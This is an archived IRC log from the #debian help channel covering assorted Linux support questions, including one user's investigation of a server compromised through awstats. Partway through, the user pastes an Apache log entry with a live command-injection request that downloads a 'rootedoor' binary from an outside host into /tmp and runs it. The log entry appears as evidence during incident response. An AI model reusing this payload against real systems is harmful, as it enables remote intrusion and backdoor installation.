| 07:36.34 | cg0def | can you setup you computer so that it uses one soundcard for input and another one for output? |
| 07:36.37 | maher | The_Ball: how did the machien get insrtalled in the first place? |
| 07:36.40 | karsten | The_Ball: http://kmself.home.netcom.com/Linux/FAQs/backups.html |
| 07:36.51 | The_Ball | maher, i installed it when i was home on vacation |
| 07:36.58 | cg0def | and if so does anyone know where I could find a manual |
| 07:37.03 | simonrvn | cg0def: sure. google for asoundrc |
| 07:37.06 | maher | The_Ball: look for a friend nearby... |
| 07:37.07 | DiPx | dpkg how to setup a mail server |
| 07:37.09 | karsten | The_Ball: ...the script at the end of that shows you what you need to back up for restoring after you rebuild. Hunting through /var is the tricky bit. |
| 07:37.17 | valdyn_ | cg0def: alsa? |
| 07:37.23 | DiPx | doesnt work |
| 07:37.25 | valdyn_ | cg0def: oss? |
| 07:37.26 | DiPx | anyonw kno how |
| 07:37.33 | cg0def | I am trying to use alsa |
| 07:37.36 | cg0def | not oss |
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| 07:37.40 | karsten | DiPx: aptitude install your choice of exim4 or postfix. |
| 07:37.49 | valdyn_ | cg0def: so create an asoundrc that does that |
| 07:38.00 | DiPx | karsten: apt-get install, you mean? |
| 07:38.10 | karsten | !tell DiPx about aptitude |
| 07:38.14 | cg0def | valdyn_: thanks I'll look up some of the documentation |
| 07:38.18 | DiPx | oh it works for you |
| 07:38.20 | DiPx | but not me |
| 07:38.25 | DiPx | your so spoiled ;) |
| 07:38.28 | simonrvn | cg0def: decent one for multiplexing on the alsa site (www.alsa-project.org, see their wiki too) |
| 07:38.36 | karsten | DiPx: aptitude is a preferred replacement for apt-get in most cases. |
| 07:38.44 | cg0def | simonrvn: ok |
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| 07:39.30 | CyzarX | for apt-get upgrade, it will upgrade all the available software in my box. what if i only upgrade certain software but not all? how can i achieve this ? |
| 07:39.40 | DiPx | karsten thank you. but i meant so i can add users and let them recieve and send email through mydomain.com -- does this tell me how |
| 07:39.49 | valdyn_ | CyzarX: apt-get install <certainpackage> |
| 07:39.51 | The_Ball | karsten, thanks for that |
| 07:40.03 | karsten | CyzarX: You can request an install of a set of packages. If they need updates, they'll update. If not, they won't. However you'll also update any deps. |
| 07:40.06 | simonrvn | CyzarX: "/msg dpkg hold" too (the bot) |
| 07:40.07 | karsten | The_Ball: NP. |
| 07:40.17 | karsten | simonrvn: Point. |
| 07:40.51 | karsten | CyzarX: Generally, though, what you want to do is update your entire system. Second-guessing the collective intelligence of 1000 Debian developers is a losing proposition. |
| 07:41.13 | simonrvn | agreed |
| 07:41.15 | karsten | The_Ball: Also: remove your PHP scripts ;-) |
| 07:41.27 | The_Ball | karsten, really? |
| 07:41.29 | simonrvn | at the very least phpbb... |
| 07:41.31 | karsten | The_Ball: ...that's been a *really* popular exploit route the past month or so. |
| 07:41.33 | karsten | The_Ball: Yeah. |
| 07:41.57 | The_Ball | is that a bug in php? |
| 07:41.58 | simonrvn | i don't run that POS, but i instituted some apache rewrites... |
| 07:42.03 | karsten | The_Ball: PHP's a lot of fun, but about as secure as tissue paper. |
| 07:42.05 | simonrvn | ...anyway |
| 07:42.22 | karsten | The_Ball: Bad security model, bad development practices, bad configuration defaults. |
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| 07:42.35 | karsten | The_Ball: PHP & awstats are the ones I'm seeing a lot of lately. |
| 07:42.40 | hlp_me | probably phpbb |
| 07:42.48 | hlp_me | hrm.. awstats? |
| 07:42.50 | simonrvn | there's ways to make it better, but the it's like microsoft, bad api, and what karsten said |
| 07:42.51 | The_Ball | whoa! i installed awstats |
| 07:42.56 | karsten | hlp_me: Yep. |
| 07:42.57 | hlp_me | got a link to advisory? |
| 07:42.57 | streuner | Is it possible to add an HD to the existing system via RAID 1 or do i have to re-install? |
| 07:43.11 | karsten | The_Ball: your rooter thanks you for it. |
| 07:43.17 | simonrvn | streuner: eh? |
| 07:43.25 | simonrvn | streuner: re-install? |
| 07:43.40 | simonrvn | mv shit off, raid the fuckers, move it back on |
| 07:43.43 | karsten | hlp_me: http://www.webmasterworld.com/forum39/3039.htm |
| 07:43.44 | hlp_me | btw, advisory on phpadmin... came out recently |
| 07:43.50 | streuner | simonrvn: heh? |
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| 07:43.53 | simonrvn | updated in sid |
| 07:43.55 | karsten | hlp_me: First hit on 'awstats vulnerability' Google. |
| 07:44.00 | hlp_me | http://www.securitylab.ru/53094.html |
| 07:44.01 | streuner | simonrvn: i want to use RAID 1 |
| 07:44.10 | simonrvn | yes |
| 07:44.25 | karsten | streuner: RTFM for RAID controller (if not kernel). Some allow adding a disk and growing the array. |
| 07:44.25 | hlp_me | karsten did you actually try to go to? :) |
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| 07:44.41 | simonrvn | streuner: the later version of the raid howto is good |
| 07:44.41 | hlp_me | to the link* |
| 07:44.43 | streuner | karsten: software-RAID |
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| 07:44.55 | karsten | hlp_me: No. However I suspect Google works for you ;-) |
| 07:45.03 | karsten | streuner: Software-you-are-f*cked ;-) |
| 07:45.21 | hlp_me | karsten funny enough it does ;) |
| 07:45.31 | karsten | streuner: Another possibility is managing under LVM, you might want to consider that as you rebuild ;-) |
| 07:45.35 | karsten | hlp_me: Fancy that. |
| 07:45.46 | karsten | hlp_me: ...Google's one of my flexibility case studies too.... |
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| 07:45.55 | streuner | karsten: so that is possible via LVM? |
| 07:46.08 | simonrvn | and the 9 GB barracuda grows quiet after the updatedb run |
| 07:46.25 | Xsquared | one last thing. I have just changed from hosting one domain's email (used UNIX accounts for it), now i need to host 4 new domains. What is the "debian way" of hosting virtual email without adding UNIX accounts? Is there a good virtual email howto? Whats the best way to implement this? MTA? |
| 07:46.29 | TinoW | streuner: also consider parted - and a good backup as always |
| 07:46.39 | hlp_me | karsten yeah, i just recently made google suggestison as home page :) i'm expecting a worm now with awstats.. so many people runing it... |
| 07:46.41 | streuner | TinoW: partimage |
| 07:46.49 | karsten | streuner: LVM seems to be a bundle of goodness in a number of ways. I _think_ you can add a disk and grow the LV. |
| 07:46.55 | simonrvn | noisiest drives on the planet |
| 07:46.57 | TinoW | streuner: actually this thing is called gnu parted |
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| 07:47.29 | karsten | hlp_me: Read advisory and follow suggestions. There's an updated package (check Debian's security page) and some config options to change as well. |
| 07:47.41 | streuner | TinoW: parted is the app to make modifications on the partitions, partimage to backup and restore those. |
| 07:47.55 | hlp_me | karsten yeah, i'm in process doing so. :) |
| 07:48.02 | hlp_me | of doing so* |
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| 07:48.07 | TinoW | streuner: yes. And I indeed meant parted. |
| 07:48.18 | hlp_me | damn, what is wrong with me today... |
| 07:49.40 | karsten | hlp_me: Do you want to long answer or the short answer? |
| 07:49.40 | sml | how do you do the equivalent of "/window server" in irssi ? |
| 07:50.08 | hlp_me | karsten hrm... long would be prefered, in 3 copies. ;) |
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| 07:50.34 | The_Ball | karsten, have you heard of this: http://lugwash.org/linux-users/200501/0114.html |
| 07:50.39 | karsten | hlp_me: Please place yourself face down on a copier platten, set copies to '3', and press start. |
| 07:50.51 | hlp_me | :) |
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| 07:51.23 | jm_ | sml: try the docs on their site or #irssi |
| 07:51.40 | karsten | The_Ball: No. |
| 07:51.53 | streuner | karsten: http://wwwhomes.uni-bielefeld.de/schoppa/raid/woody-raid-howto.html doesn't mention anything about to re-install |
| 07:51.55 | jewel | I am unable to run X programs as root (I export DISPLAY=localhost:0.0 and do xhost localhost as the non-root user) but I always get the message: cannot connect to X server localhost:0.0 |
| 07:51.57 | StudioGhibli | Does anyone know a cd writing software called cdw? it had a gtk frontend... i used it once, but dont remember now. anyone remember howto invoke it? |
| 07:52.00 | beth | fXwQY is a spambot! |
| 07:52.01 | karsten | The_Ball: However, there's a lot of confusion between Linux *exploits*, and linux *rootkits*. |
| 07:52.11 | simonrvn | !ops fXwQY is a spambot |
| 07:52.14 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: fXwQY is a spambot |
| 07:52.24 | The_Ball | karsten, it doesn't seem to be a root kit though http://vil.nai.com/vil/content/v_128116.htm |
| 07:52.28 | karsten | The_Ball: ...the exploit is how they get in. The rootkit is how they cover their tracks and/or set up processes to make use of your box. |
| 07:52.32 | beth | thanks simonrvn |
| 07:52.46 | hlp_me | anyways, i asked htis little earlier, what is wrong with mozilla, sometimes when igo to msg boards like phpbb or SMF boards... firefox just hoagsthe cpu, both ram and cpu rocket up to 100% use, no swap file tho... and after like 10 minutes of this bs, dies... |
| 07:52.48 | The_Ball | karsten, yes |
| 07:52.49 | hlp_me | no log files |
| 07:52.52 | sussudio | beth: that would probably be useful if that was actually in here |
| 07:52.55 | helix | umm, where is fxwqy? |
| 07:52.59 | beth | sussudio: it is, or was |
| 07:53.14 | karsten | The_Ball: You think that's what you've got? |
| 07:53.23 | karsten | streuner: sec. |
| 07:53.25 | simonrvn | haha |
| 07:53.35 | beth | yeah, it's gone now |
| 07:53.39 | sussudio | beth: not in here it wasn't |
| 07:53.57 | The_Ball | karsten, these two showed up from ps -aux : www-data 8244 0.0 0.0 1452 332 ? Ss Jan29 0:00 ./rootedoor www-data 3211 0.0 0.0 1452 332 ? Ss Jan31 0:00 /var/tmp/str |
| 07:54.17 | sussudio | beth: there was a nick 'nioa' with the same IP in here. |
| 07:54.17 | karsten | streuner: Ich kann nicht so veil Deutsch gelesen. |
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| 07:54.48 | hlp_me | The_Ball are they still runing? |
| 07:54.49 | sussudio | and 'indonesia' and 'jhlk' |
| 07:55.02 | streuner | karsten: well, its possible to create RAID 1 without reinstallation (sofware-RAID) |
| 07:55.07 | The_Ball | hlp_me, no, i killed them, they have not started again |
| 07:55.11 | simonrvn | yes |
| 07:55.14 | karsten | The_Ball: Looks like it. |
| 07:55.16 | The_Ball | and uninstalled awstats |
| 07:55.22 | sussudio | helix: looks like someone is testing their spambots. might want to do a preventitive ban on *!*@202.162.196.222 |
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| 07:55.37 | The_Ball | is there pastebin here? |
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| 07:55.45 | sussudio | !paster |
| 07:55.46 | dpkg | Instead of pasting in #debian or #flood, use paster, your friendly paste bot. Visit http://channels.debian.net/paste select #debian, and paste away. |
| 07:55.47 | *** mode/#Debian [+o helix] by ChanServ |
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| 07:55.49 | karsten | The_Ball: Trojans have to be installed and run. You the only user on the box? Again: could be another exploit was used, and that binary dropped on you. |
| 07:55.56 | *** mode/#Debian [+b *!*@202.162.196.222] by helix |
| 07:55.59 | *** mode/#Debian [-o helix] by helix |
| 07:56.01 | sussudio | ktnx |
| 07:56.15 | DiPx | helix |
| 07:56.19 | helix | DiPx |
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| 07:56.24 | karsten | streuner: OK. Just between you and me, this problem you've got... |
| 07:56.25 | DiPx | you should just make dpkg do that |
| 07:56.29 | karsten | streuner: ...is yours, not mine ;-) |
| 07:56.30 | DiPx | i think thats waste of time |
| 07:56.56 | paster | "the_ball" at 203.194.43.211 pasted "ps and lsof output" (169 lines) at http://channels.debian.net/paste/308 |
| 07:57.03 | DiPx | <bGvlj> DiPx, please clik2x #warung #warung |
| 07:57.03 | DiPx | bGvlj No such nick/channel |
| 07:57.23 | CyzarX | i got that too |
| 07:57.52 | streuner | karsten: don't talk crap then (misinformation) |
| 07:57.52 | simonrvn | wtf |
| 07:57.52 | sussudio | yes, that's the IP that's banned now. |
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| 07:58.32 | sion | anyone know where is kernel-source-2.4.20 at? |
| 07:58.32 | karsten | streuner: Where's it talk about adding disks to an array? |
| 07:58.46 | karsten | sion: Between 2.4.19 and 2.4.21 |
| 07:59.04 | *** mode/#Debian [+l 768] by debhelper |
| 07:59.05 | peterS | sion: debian kernel source version 2.4.20? you can probably find it on snapshot.debian.net. but why do you need it? |
| 07:59.36 | sion | peterS I have an old .config file, and I don't want to edit it again =( |
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| 07:59.50 | sion | thx for the site |
| 07:59.53 | The_Ball | karsten, did you look at the output? |
| 08:00.16 | peterS | sion: that's what 'make oldconfig' is for - you pull down a 2.4.29 source and copy the .config into it and run 'make oldconfig' and it only asks you about new options 2.4.20 didn't have |
| 08:00.17 | DiPx | !tell dipx how to setup a mail server |
| 08:00.18 | StudioGhibli | Does anyone know a cd writing software called cdw? it had a gtk frontend... i used it once, but dont remember now. anyone remember howto invoke it? |
| 08:00.21 | karsten | The_Ball: Sorry? |
| 08:00.27 | DiPx | !tell dipx mail server |
| 08:00.27 | karsten | The_Ball: What output? |
| 08:00.30 | The_Ball | http://channels.debian.net/paste/308 |
| 08:00.34 | DiPx | Hmm |
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| 08:00.58 | karsten | The_Ball: What are we looking for here? |
| 08:01.05 | valdyn_ | StudioGhibli: why dont you apt-get install cdw ? |
| 08:01.05 | mIllIs | Tjoho ! |
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| 08:01.09 | hlp_me | The_Ball look in the apache logs, might find something interesting |
| 08:01.13 | valdyn_ | !tell StudioGhibli about search |
| 08:01.19 | TATERHOSEN | The_Ball, we were meant to be together. |
| 08:01.36 | StudioGhibli | valdyn_: i did. i have cdw, i have gcdw. but gcdw does'nt give me a gtk frontend. |
| 08:01.39 | sion | peterS: sweet jesus =) thx a jiff man... you save me 2 hours of my life =) |
| 08:01.52 | peterS | sion: heh. enjoy those two hours |
| 08:02.08 | hlp_me | spam bot: [oI^\v(~SkYIrc@202.162.196.222)] hlp_me, please clik2x #warung #warung |
| 08:02.14 | karsten | The_Ball: ...note rootedoor's running as www-data. That pretty much means it got in through apache. |
| 08:02.14 | The_Ball | karsten, the output of lsof shows a user routedoor, doesent that mean he got root access, beeing able to create a user i mean? |
| 08:02.19 | bbmj | 2 hours to configure a kernel. omg. |
| 08:02.31 | streuner | hlp_me: a known problem... |
| 08:02.41 | hlp_me | streuner ok :) |
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| 08:02.48 | valdyn_ | !info gcdw |
| 08:02.49 | The_Ball | karsten, or is that the name of the binary? |
| 08:02.52 | dpkg | gcdw: (Tool for burning CD's - graphical version), section otherosfs, is optional. Version: 0.2.3-3 (sid), Packaged size: 74 kB, Installed size: 244 kB |
| 08:02.52 | karsten | The_Ball: Probably. What's in /etc/passwd? |
| 08:02.53 | ssc | hi |
| 08:02.58 | peterS | bbmj: it took me awhile to run menuconfig over a 9600-baud null modem to a machine whose version of curses screwed up the display in a bizarre way |
| 08:03.11 | peterS | bbmj: I didn't time how long it took me, but longer than it should have |
| 08:03.11 | valdyn_ | StudioGhibli: whats gcdw doing then? |
| 08:03.29 | StudioGhibli | valdyn_: when i type gcdw in a xterm, it starts the same thing as cdw |
| 08:03.35 | StudioGhibli | valdyn_: a ncurses based thing. |
| 08:03.37 | The_Ball | karsten, ah, sorry, the user is in the third coulumn, so the user is www-data |
| 08:03.40 | bbmj | peterS, knowing you way less than two hours i'm sure. |
| 08:03.48 | valdyn_ | !depends gcdw |
| 08:03.50 | dpkg | gcdw: depends on libatk1.0-0 (>= 1.7.2), libc6 (>= 2.3.2.ds1-4), libglib2.0-0 (>= 2.4.7), libgtk2.0-0 (>= 2.4.4), libncurses5 (>= 5.4-1), libpango1.0-0 (>= 1.6.0), cdw-common |
| 08:03.57 | peterS | bbmj: probably way less than 2 hours but it might have been 20 or 30 minutes |
| 08:03.59 | karsten | The_Ball: Yeah, I'm refamiliarizing w/ lsof. col1 == executable. |
| 08:04.06 | valdyn_ | StudioGhibli: this looks like a curses based program too |
| 08:04.21 | StudioGhibli | valdyn_: libgtk2 |
| 08:04.26 | karsten | The_Ball: Which doesn't mean they *didn't* get root, just that you've got no proof they did. |
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| 08:04.37 | karsten | The_Ball: Are you missing a slew of logs? |
| 08:04.47 | The_Ball | karsten, that's sweet though. Now i need to scan my log files for some apache/awstat stuff |
| 08:04.49 | valdyn_ | StudioGhibli: type gcdw --gui |
| 08:04.53 | StudioGhibli | oh |
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| 08:05.00 | bbmj | peterS, that a situation where you configure it on your machine and upload the .config |
| 08:05.07 | karsten | The_Ball: If they're there. Frequent action is to wipe logs on 'sploit |
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| 08:05.11 | hlp_me | The_Ball try to grep for 'system' and move one from tehre |
| 08:05.17 | schuler | hi |
| 08:05.18 | StudioGhibli | valdyn_: OMG! thanks :D |
| 08:05.28 | peterS | bbmj: different architecture. I could have done that anyway, I suppose, but I was stubborn |
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| 08:05.33 | StudioGhibli | i'll make a launcher in xfce right now |
| 08:05.56 | peterS | bbmj: actually come to think of it, if you count the time it took me to find and fix the kernel config bugs that prevented 'make menuconfig' from working at all on the target machine, that puts it well over 2 hours |
| 08:06.20 | The_Ball | karsten, seems all my logs are there, unless he has edited the time period in question |
| 08:06.28 | bbmj | peterS, you know you enjoyed it... :) |
| 08:06.33 | peterS | bbmj: indeed (: |
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| 08:06.38 | DiPx | Why isnt anyone helping me lol |
| 08:06.43 | DiPx | this should be so easy for you guys |
| 08:06.57 | valdyn_ | !tell DiPx about ask |
| 08:06.59 | simonrvn | DiPx: google it |
| 08:07.02 | bbmj | peterS, actually i'm really ready to get rid of my sun. |
| 08:07.08 | peterS | bbmj: had to find a rather baffling bug - baffling because the code was so *simple* that it couldn't possibly do what it looked like it did |
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| 08:07.21 | DiPx | simonrvn i am right now, cause this channel is useless to me lol |
| 08:07.22 | peterS | bbmj: what manner of sun? if it's a good one I'll pay shipping |
| 08:07.42 | DiPx | valdyn_ oh so kind *hug* |
| 08:07.43 | simonrvn | DiPx: read what the bot told you about "ask", too. |
| 08:08.13 | bbmj | peterS, sale i should have said. it ok. |
| 08:08.16 | valdyn_ | DiPx: im sure you can convince someone to mindguess your issues for you if you pay an appropriate consulting fee |
| 08:08.17 | peterS | ahh |
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| 08:09.05 | Coke | How can I make xterm understand alt key combinations. for instance, alt-1 should switch to window one in IRSSI, but instead I get a small number one. The same in BASH with args. |
| 08:09.08 | bbmj | peterS, don't know how much i'll get for it though. need to look around ebay and see what thier going for. |
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| 08:09.13 | peterS | bbmj: yeah |
| 08:09.29 | Coke | By the way, alt works fine in both rxvt and eterm, so it's only in xterm this is a problem. |
| 08:09.43 | grepper | simonrvn: ah, found it in the xfree86 changelog: "* The i386 build of -12 appears to not have been stripped at all, so the resultant packages are colossal. Rebuild in a clean environment." |
| 08:09.47 | StudioGhibli | DiPx: just google for "MTAname howto Debian" and you'll get a fair number of howtos. |
| 08:09.49 | simonrvn | bbmj: i'm curious as to what kind of sun, too |
| 08:09.53 | peterS | Coke: xterm has resources for 8bit input. do you know how to use X resources? |
| 08:09.58 | yxa | does a self-signed cert make it less secure? |
| 08:10.01 | DiPx | StudioGhibli what is a MTAname |
| 08:10.08 | sml | yxa no |
| 08:10.16 | Coke | peterS: yep |
| 08:10.24 | StudioGhibli | DiPx: which mail transfer agent you will use. Either sendmail, postfix, or exim4 |
| 08:10.28 | sml | yxa: it just means no one has "vouched for you". its not trusted that you are who you say you are. |
| 08:10.29 | StudioGhibli | DiPx: or qmail |
| 08:10.29 | karsten | The_Ball: 'timestamp' in your syslog is there for a reason. |
| 08:10.29 | simonrvn | grepper: oh yeh. forgot about that. run ppc here, heh, and the x86 i have doesn't run x |
| 08:10.31 | valdyn_ | yxa: depends on your context |
| 08:10.40 | sml | yxa: the crypto is just as secure though, its only a trust thing. |
| 08:10.49 | Coke | peterS: eightBitInput: true, I guess. |
| 08:10.59 | grepper | well, its nice to know the reason in any case :) |
| 08:11.12 | bbmj | simonrvn, enterprise 2(sun4u), dual 300mhz ultra sparc 2, 512 ecc, 2 x 9.1 gig drives, creator 3d frame buffer. |
| 08:11.14 | grepper | I had a feeling it was something to do with stripping |
| 08:11.16 | karsten | !ops Was pOIGC a spammer? |
| 08:11.16 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: Was pOIGC a spammer |
| 08:11.17 | yxa | sml but can it be faked by man in middle? |
| 08:11.17 | peterS | Coke: something like that |
| 08:11.19 | Coke | peterS: although, that didn't help. |
| 08:11.34 | simonrvn | bbmj: not bad |
| 08:11.36 | sml | yxa: PKI uses a chain of trust topology for validity. whereas other public key crypto systems such as OpenPGP use a web of trust methodology. |
| 08:11.39 | The_Ball | karsten, well the ps aux output showed the process was started Jan 29, so I am looking in my apache log for something... |
| 08:11.39 | sml | yxa: yes it can be. |
| 08:11.47 | peterS | Coke: does 'xmodmap -pm' have alt and meta giving the same mod number? |
| 08:11.51 | sml | yxa: this is somethinhg that SSL was designed to prevent but its still possible. |
| 08:11.53 | karsten | DiPx: Still here? |
| 08:12.02 | StudioGhibli | DiPx: my recommendation, check out the Postfix articles at http://www.workaround.org but remember, i am a newbie too. |
| 08:12.02 | sml | yxa: this has NOTHING to do with wether your certificate is signed or not. |
| 08:12.07 | karsten | The_Ball: Gee. That was a couple of days ago.... |
| 08:12.13 | sml | yxa: signing is an action of certification. a completely different thing. |
| 08:12.13 | bbmj | simonrvn, i'm up to like 11 machines and need to downsize. |
| 08:12.18 | Coke | peterS: yep, alt_l and meta_l are mod1 |
| 08:12.21 | simonrvn | bbmj: yikes |
| 08:12.25 | The_Ball | karsten, ehem... i have been traveling... |
| 08:12.34 | The_Ball | *blush* |
| 08:12.42 | karsten | The_Ball: Having fun? |
| 08:13.08 | peterS | Coke: that might be the problem. the xterm docs do mention that Alt_* and Meta_* should be on different modifiers |
| 08:13.37 | yxa | sml so when i go to a https site with a commercial ca, does my browser actually contact the commercial ca? |
| 08:13.49 | yxa | sml to verify they are who they say they are |
| 08:13.49 | peterS | Coke: xmodmap -e 'remove mod1 = Meta_L' -e 'add Mod3 = Meta_L' |
| 08:13.55 | peterS | Coke: or similar - find an empty modifier |
| 08:14.01 | Coke | peterS: no, xterm*metaSendsEscape: true |
| 08:14.05 | Coke | peterS: that was the ticket. |
| 08:14.10 | peterS | Coke: ahh, ok |
| 08:14.21 | The_Ball | karsten, well i feel a bit better, cause i don't think i was rooted |
| 08:14.44 | Xsquared | Im trying to install virtual email. Is there a good virtual email howto? Whats the best way to implement this? MTA? |
| 08:15.11 | Nwallins | i read that the mysql debian package ships with networking off, but nmap shows the port open.. what gives? |
| 08:15.42 | Nwallins | sarge 4.0.23 |
| 08:15.55 | sml | yxa: your browser has a list of the CA's certificates. they're distibuted with most browsers. |
| 08:16.14 | StudioGhibli | If i want to make an iso of a directory, and i want Joliet extentions, what are the mkisofs flags i'll need? |
| 08:16.27 | Coke | peterS: I got the answer from a colleague who casually popped by. I gave up on xterm many years ago on account of this problem. All other terminals just worked with the meta when in 8-bit mode, so I figured xterm was broken. |
| 08:16.32 | scarynetworkguy | StudioGhibli: man mkisofs |
| 08:16.34 | The_Ball | karsten, 201.9.254.103 - - [29/Jan/2005:17:09:55 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo%20;echo%20;cd%20/tmp/;wget%20http://members.aol.com/cavaleirosb1/xpl/rootedoor;chm |
| 08:16.34 | The_Ball | od%20777%20rootedoor;./rootedoor;echo%20;echo%20| HTTP/1.0" 200 629 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" |
| 08:16.46 | miyo | Nwallins: /etc/mysql/my.cnf |
| 08:16.47 | sml | yxa: in the SSL handshake a session key is sent using the public certificate of the remote site and if the same session key is returned it means the site had the private key reqwuired to decrypt the session key. |
| 08:16.49 | StudioGhibli | scarynetworkguy: there's so many options :/ |
| 08:16.52 | miyo | Nwallins: And read the config-file. |
| 08:16.56 | Nwallins | miyo: thx |
| 08:16.58 | karsten | The_Ball: Welcome! |
| 08:17.11 | simonrvn | The_Ball: that'd be it |
| 08:17.17 | karsten | The_Ball: That's your bastard. |
| 08:17.23 | karsten | The_Ball: /join #flood for a sec. |
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| 08:17.35 | yxa | sml so do i need to buy a CA? |
| 08:17.35 | sml | yxa: its similar to how ssh works. in fact a fundemental weekness in this approach is the randomness and range of the session key to prevent replay attacks. |
| 08:17.36 | suzzi | hay all |
| 08:17.37 | scarynetworkguy | StudioGhibli: Then the sooner you start reading the sooner you'll find it, won't you? |
| 08:17.40 | sml | yxa: no you dont. apt-get instal openssl |
| 08:17.43 | miyo | Nwallins: If you still have problems after that... feel free to ask again =) |
| 08:17.51 | simonrvn | ~SkYIrc@202.162.196.222 spammer |
| 08:17.52 | sml | s/instal/install |
| 08:17.52 | Nwallins | what is the name of the config-file? |
| 08:17.55 | karsten | The_Ball: Brazillian IP. There's a defacers squad active down there. |
| 08:18.01 | Rydekull | hmm, can anyone ban the ident SkYIrc? or just the ip 202.162.196.222? They spam away quite much <g> |
| 08:18.08 | simonrvn | sorry, we know already... |
| 08:18.15 | Nwallins | other than /etc/mysql/my.cnf that is |
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| 08:18.20 | The_Ball | karsten, i see |
| 08:18.27 | sml | yxa: You can setup and run your own in-house CA using openssl. the documentation that comes with it is a bit crap but there's a good mailing list. |
| 08:18.31 | miyo | Nwallins: cd /etc/mysql; ls |
| 08:18.35 | valdyn_ | StudioGhibli: "man mkisofs" type "/joliet" hit "/ <enter>" repeadedly |
| 08:18.44 | The_Ball | i second Rydekull |
| 08:18.49 | simonrvn | just told #freenode |
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| 08:19.10 | miyo | valdyn_: or 'n' for next =) |
| 08:19.11 | Nwallins | yeah, there's a log-rotate.conf, a debian.conf (sysmaint auth info) debian-start, and my.cnf |
| 08:19.23 | StudioGhibli | valdyn_: no. i've read it. there are so many other options there. do i need to select those? or just mkisofs -J -o myiso.iso /path/to/dir/ |
| 08:19.53 | valdyn_ | StudioGhibli: yea |
| 08:19.56 | suzzi | what all do I need to have installed to get mysql access to php, just php-mysql ??? |
| 08:20.03 | yxa | sml so why is verisign so rich? |
| 08:20.09 | StudioGhibli | or i'll use diff options and burn them to a CD-RW |
| 08:20.15 | StudioGhibli | if there are problems, will blank it out. |
| 08:20.17 | valdyn_ | StudioGhibli: theres incompatible extensiosn to joliet too, you probably don't want those |
| 08:20.35 | karsten | The_Ball: Friend of mine got hit by a group down there about the same time. |
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| 08:20.53 | The_Ball | karsten, bastards! |
| 08:20.56 | simonrvn | i've had attempts here too. |
| 08:20.58 | sml | yxa: because they're lucky enough to have had their certificates bundled with netscape and ie for many many years. |
| 08:21.02 | idnar | valdyn_: or hit 'n' |
| 08:21.15 | valdyn_ | idnar: yea |
| 08:21.21 | valdyn_ | idnar: just learned that ) |
| 08:21.34 | karsten | The_Ball: Yeah, but gorgeous women. |
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| 08:22.03 | The_Ball | why do they always end up with the bastards? |
| 08:22.29 | sml | yxa: these days there are very strict requirements and pre-requistes for CAs. have you personally gone to the sites of all those that come as trusted root CA's in IE/Netscape ? You will find that some of the companies dont even exist anymore. Yet you trust these people ULTIMATELY. does that seem to make any sense to you? SSL is very misunderstood and badly implemented. I suggest you join the mailing list for the openssl developers you will le |
| 08:22.33 | simonrvn | there's bastards all over the world |
| 08:22.37 | jc_ | hi all |
| 08:22.38 | karsten | The_Ball: ...'coz they're also crazy ;-) |
| 08:22.41 | jc_ | i have a strange problem |
| 08:22.56 | StudioGhibli | Is there some GUI tool to look inside a .iso directly? or do i first have to mount it on loopback and then look in? i just want to see the files in there |
| 08:23.00 | jc_ | my machine (debian sarge 2.6.8.1) suddenly reboots |
| 08:23.06 | karsten | jc_: How fortunate |
| 08:23.06 | jc_ | and i cannot figure out why |
| 08:23.11 | karsten | jc_: We have a strange answer. |
| 08:23.16 | sml | yxa: The crypto part side of things though is another story. 128bit RSA , 256Bit AES etc are very strong. |
| 08:23.18 | StudioGhibli | look in the log |
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| 08:23.22 | jc_ | kern.log and messages just say reboot |
| 08:23.31 | peterS | sml: 128-bit RSA? what have you been smoking? |
| 08:23.32 | jc_ | karsten: i belive its a hardware problem |
| 08:23.39 | karsten | jc_: Anything change lately? How old's the box? What's your ambient temperature? What's in your system logs? |
| 08:23.43 | jc_ | but its still strange |
| 08:23.49 | mIllIs | Nån duktig person här som kan hjälpa mig med ett prob. ? |
| 08:23.54 | jc_ | karsten: system logs just reboot |
| 08:24.04 | jc_ | temerature is normal |
| 08:24.11 | jc_ | its a p3 |
| 08:24.12 | suzzi | jc_ do you have cats? |
| 08:24.15 | jc_ | so a bit older |
| 08:24.19 | sml | peterS: 128Bit rc5 sorry! too early |
| 08:24.20 | The_Ball | karsten, suppose they are. They hadn't changed anything on my pages |
| 08:24.21 | jc_ | suzzi: yes |
| 08:24.23 | karsten | jc_: There's a rash of bad caps showing up now, from the past 2-3 years. You'll probably want to run memtest86+ and cpuburn. |
| 08:24.26 | Rydekull | mIllIs: heh either you speak english or you try #Debian.se |
| 08:24.35 | mIllIs | ahh, cheers m8 |
| 08:24.40 | sml | peterS: not meant to be up at this time.. boo hoo need coffee |
| 08:24.43 | yxa | but how exactly does we know that someone is who he claim he is by using a commercial ca? |
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| 08:25.08 | suzzi | jc_: I dont know if this will help you but my cats sometimes reboot my machines... |
| 08:25.18 | yxa | sorry i'm still new with certs |
| 08:25.20 | sml | yxa: you trust them. end of story. :) |
| 08:25.22 | peterS | yxa: it's the job of the commercial CA to check that stuff. if you don't believe they do a good job, just don't trust their certificates |
| 08:25.34 | jc_ | karsten: why memtest? |
| 08:25.40 | sml | yxa: they're in your browser/server config/mail software.. /insert product here :) |
| 08:25.41 | valdyn_ | yxa: you trust the commercial CA to have verified the identity.. or you don't |
| 08:25.51 | karsten | mIllIs: I don't speek Sweedish, but I've got the borkbork filter.... |
| 08:25.53 | The_Ball | karsten, the executable they ran opened a port, but my firewall only accepts specific incoming ports, so i guess they couldn't connect to the backdoor anyway |
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| 08:25.56 | sml | yxa: basically at the end of the day someone , somewhere HAS to be trusted. |
| 08:25.57 | karsten | jc_: Rule out bad RAM. |
| 08:26.03 | sml | yxa: Microsoft has made this choice for you :) |
| 08:26.06 | sml | yxa: be AFRAID :) |
| 08:26.10 | jc_ | karsten: but why reboot |
| 08:26.21 | yxa | and with self-sign certs? someone can actually spoof the identify? |
| 08:26.26 | jc_ | if it would crash because of ram it would just freeze i guess.. |
| 08:26.35 | karsten | jc_: cpuburn will stress your CPU, may show bad caps. You can visually examin your mobo as well. Brown (think dried mustard) crud on the tall cylinders is a bad sign. |
| 08:26.46 | valdyn_ | yxa: everyone can make a cert with your name on it and sign it himself |
